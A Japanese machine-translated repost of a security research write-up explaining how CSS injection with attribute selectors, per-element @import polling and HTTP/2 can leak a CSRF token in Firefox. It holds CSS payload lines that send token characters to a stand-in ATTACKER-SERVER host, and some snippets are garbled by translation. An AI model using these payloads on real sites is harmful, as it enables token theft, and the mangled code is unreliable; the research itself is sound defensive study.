Firefox の CSS を使用してデータを盗む

Firefox の CSS を使用してデータを盗む

0x00 はじめに

数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。

0x01 背景

デモンストレーションの目的で、 <input>要素から CSRF トークンを盗むとします。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。

入力[名前='csrftoken'][値^='a'] {
  背景: url(//ATTACKER-SERVER/leak/a);
}
入力[名前='csrftoken'][値^='b'] {
  背景: url(//ATTACKER-SERVER/leak/b);
}
...
入力[名前='csrftoken'][値^='z'] {
  背景: url(//ATTACKER-SERVER/leak/z);
}

CSS ルールが適用されると、攻撃者は HTTP リクエストを受信して​​トークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。

入力[名前='csrftoken'][値^='aa'] {
  背景: url(//ATTACKER-SERVER/leak/aa);
}
入力[名前='csrftoken'][値^='ab'] {
  背景: url(//ATTACKER-SERVER/leak/ab);
}
...
入力[名前='csrftoken'][値^='az'] {
  背景: url(//ATTACKER-SERVER/leak/az);
}

通常、攻撃者は、後続のスタイルシートを提供するために、 <iframe>にすでに読み込まれているページを再読み込みする必要があります。

2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。

つまり、最初の注入では一連のimportが使用されます。

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

中心となる考え方は次のとおりです。

1. 最初は、最初の@importのみがスタイルシートを返し、他のステートメントは接続をブロックする状態になります。

2. 最初の@importスタイルシートを返しますが、トークンの最初の文字が漏れてしまいます。

3. 漏洩した最初のトークンがATTACKER-SERVERに到達すると、2 番目のimportブロックを停止し、最初の文字を含むスタイルシートを返して、2 番目の文字を漏洩させようとします。

4. 2 番目に漏洩した文字がATTACKER-SERVERに到達すると、3 番目のimportブロックを停止します。

この手法が機能するのは、Chrome がimport非同期的に処理するためです。そのため、 importがブロックを停止すると、Chrome は直ちにステートメントを解析してルールを適用します。

0x02 Firefoxとスタイルシートの処理

上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。

まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数のimportがある場合、Firefox はすべてのimportが処理された場合にのみ CSS ルールを適用します。次のケースを考えてみましょう。

<スタイル>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</スタイル>

最初の@importページの背景を青に設定する CSS ルールを返し、後続のimportがブロッキング状態 (つまり、何も返されず、HTTP 接続がハングする) であるとします。 Chrome ではページがすぐに青色に変わりますが、Firefox では何も起こりません。

これを修正するには、すべてのimport別々の<style>要素に配置します。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他のimportバックグラウンドで処理されます。

しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox はすぐに 10 件のimportをキューに追加します。最初のimportを処理した後、Firefox は既知の文字列を含む別のリクエストをキューに追加します。ここでの問題は、リクエストがキューの最後に追加されることです。デフォルトでは、ブラウザには同じサーバーへの同時接続が 6 つまでという制限があります。したがって、サーバーへの接続がすでに 6 つブロックされているため、既知の文字を含むリクエストはターゲット サーバーに到達せず、最終的にデッドロックが発生します。

0x03 HTTP/2

6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。

Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は100です (具体的な設定については、 about:confignetwork.http.spdy.default-concurrentを参照してください)。より多くの同時実行が必要な場合は、別のホスト名を使用して、Firefox に 2 番目の TCP 接続を強制的に作成させることができます。たとえば、 https://localhost:3000へのリクエストを100https://127.0.0.1:3000へのリクエストを50作成すると、Firefox は 2 つの TCP 接続を作成します。

0x04 搾取

これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。

1. エクスプロイトコードは HTTP/2 に基づいています。

2. /polling/:session/:indexエンドポイントは CSS を返す可能性があり、 :index文字がリークされます。このリクエストは、前のリクエストがindex-1文字を正常にリークするまでブロックされます。 :sessionパス パラメータは、複数の攻撃動作を区別するために使用されます。

3. /leak/:session/:valueエンドポイントを介してトークン全体を漏洩します。ここで:value最後の文字だけではなく、取得された完全な値です。

4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここではhttps://localhost:3000https://127.0.0.1:3000という 2 つのエンドポイントが使用されます。

5. エンドポイント/generateサンプル コードを生成するために使用されます。

この方法でcsrftoken盗むことを目的としたテスト プラットフォームを作成しました。ここから直接アクセスできます。

さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。

興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。

0x05 概要

この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。

1. @importルールを複数のスタイルシートに分割して、後続のimportによってブラウザがスタイルシート全体の処理をブロックしないようにします。

2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。

以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。

<<:  DockerはClickHouseをインストールし、データテストを初期化します

>>:  入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)

推薦する

MySQL における varchar 型と char 型の違い

目次前述のVARCHAR型VARCHAR適用可能な状況CHAR型テストVARCHAR(5)とVARC...

Linux の Makefile とは何ですか? どのように機能しますか?

この便利なツールでプログラムをより効率的に実行およびコンパイルしますMakefile は自動コンパイ...

Redhat 7.3 に MySQL 8.0.22 をインストールするための詳細なチュートリアル (バイナリ インストール)

目次1. MySQLインストールパッケージをダウンロードする2. MySQLのアンインストール手順3...

HTML における Div と table の違い (あらゆる側面から詳細に説明)

1: 速度と読み込み方法の違いdivとtableの違いは速度ではなく、読み込み方法です。速度はネット...

MySQLインデックスの詳細

1. インデックスの原則インデックスは、列内の特定の値を持つ行をすばやく見つけるために使用されます。...

MySQL の基本ステートメントを最適化するための 10 の原則の概要

序文データベースの応用において、プログラマーは継続的な実践を通じて多くの経験を積んできました。これら...

sed コマンドを使用して文字列を置換する Linux チュートリアル

文字列を置き換えるには、次の形式を使用する必要があります。 $ sed s/置換対象文字列/置換文字...

VueのTodoListケースの詳しい説明

<テンプレート> <div id="ルート"> <...

MySQLを使用して列内の異なる値の数をカウントする例

序文この記事で実装されている要件は、実際には非常に一般的です。たとえば、ユーザーが登録したチャネルを...

Apache Log4j2 が核レベルの脆弱性と迅速な修正を報告

Apache Log4j2 が核レベルの脆弱性を報告し、スタックリーダーの友人たちは大騒ぎになりまし...

HTML におけるスクリプトの配置に関する簡単な説明

以前は、スクリプトは HTML 内のどこにでも配置できると思っていましたが、今日、要件に取り組んでい...

Linux (CentOS) システムで MySQL データベース ディレクトリの場所を変更する方法

CentOS システムで MySQL データベース ディレクトリの場所を変更する方法1. まず、My...

Docker Compose の実践とまとめ

Docker Compose は、Docker コンテナ クラスターのオーケストレーションを実現しま...

HTML で点線の境界線を設定する方法

CSSスタイルとHTMLタグ要素を使用するさまざまな HTML タグに点線の境界線を追加するために、...

Vueを使用して天気コンポーネントをロードする方法の詳細な説明

この記事では、Vueを使用して天気コンポーネントをロードする方法を参考までに紹介します。具体的な内容...